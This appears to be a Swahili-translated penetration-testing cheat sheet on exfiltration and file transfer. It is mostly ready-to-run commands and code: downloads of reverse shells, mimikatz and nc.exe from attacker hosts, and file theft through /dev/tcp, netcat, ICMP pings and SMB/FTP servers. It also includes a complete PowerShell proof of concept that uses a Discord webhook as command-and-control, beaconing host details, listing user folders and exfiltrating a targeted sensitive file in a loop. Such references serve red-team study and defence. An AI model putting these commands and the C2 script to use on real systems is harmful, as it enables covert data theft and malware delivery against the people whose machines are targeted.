Exfiltration

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Domains zinazoruhusiwa mara nyingi (whitelisted) kwa ajili ya exfiltrate taarifa

Angalia https://lots-project.com/ ili kupata domains zinazoruhusiwa mara nyingi (whitelisted) ambazo zinaweza kutumiwa vibaya

Nakili&Bandika Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Kupakia faili

• SimpleHttpServerWithFileUploads
• SimpleHttpServer printing GET and POSTs (also headers)
• Moduli ya Python uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Seva ya HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) kwa C2 & Data Exfiltration

Webhooks ni write-only HTTPS endpoints zinazopokea JSON na sehemu za faili za hiari. Mara nyingi huruhusiwa kwa domain za SaaS zenye kuaminika na hazihitaji OAuth/API keys, hivyo zinatumika vizuri kwa beaconing na exfiltration zisizo na vizingiti.

Key ideas:

• Endpoint: Discord inatumia https://discord.com/api/webhooks//
• POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
• Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK huthibitisha utolewaji.

PowerShell PoC (Discord):

# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Vidokezo:

• Mifumo sawa inatumika kwa majukwaa mengine ya ushirikiano (Slack/Teams) yanayotumia incoming webhooks; rekebisha URL na JSON schema ipasavyo.
• Kwa DFIR ya Discord Desktop cache artifacts na webhook/API recovery, angalia:

Discord Cache Forensics

FTP

FTP seva (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Seva ya FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Seva ya FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows mteja

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali kama server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Au unda smb share kwa kutumia samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Mshambuliaji lazima awe na SSHd ikiendesha.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Ikiwa mwathirika ana SSH, mshambuliaji anaweza mount directory kutoka kwa mwathirika hadi kwa mshambuliaji.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Pakua faili kutoka kwa mwathiriwa

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Pakia faili kwa mwanaathiriwa

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

asante kwa @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda seva ya SMTP ili kupokea data kwa python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Kwa chaguo-msingi katika XP na 2003 (kwa mengine inahitaji kuongezwa wazi wakati wa usakinishaji)

Katika Kali, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Seva ya TFTP kwa python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Katika victim, ungana na server ya Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Pakua faili kwa oneliner ya PHP:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Mwanaathiriwa

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Programu ya debug.exe si tu inaruhusu ukaguzi wa binaries bali pia ina uwezo wa kuzijenga upya kutoka hex. Hii inamaanisha kwamba kwa kutoa hex ya binary, debug.exe inaweza kutengeneza faili ya binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina kikomo cha assembling faili hadi ukubwa wa 64 kb.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Kisha copy-paste maandishi hayo kwenye windows-shell na faili iitwayo nc.exe itaumbwa.

• https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html

DNS

• https://github.com/Stratiz/DNS-Exfil

Marejeo

• Discord as a C2 and the cached evidence left behind
• Discord Webhooks – Execute Webhook
• Discord Forensic Suite (cache parser)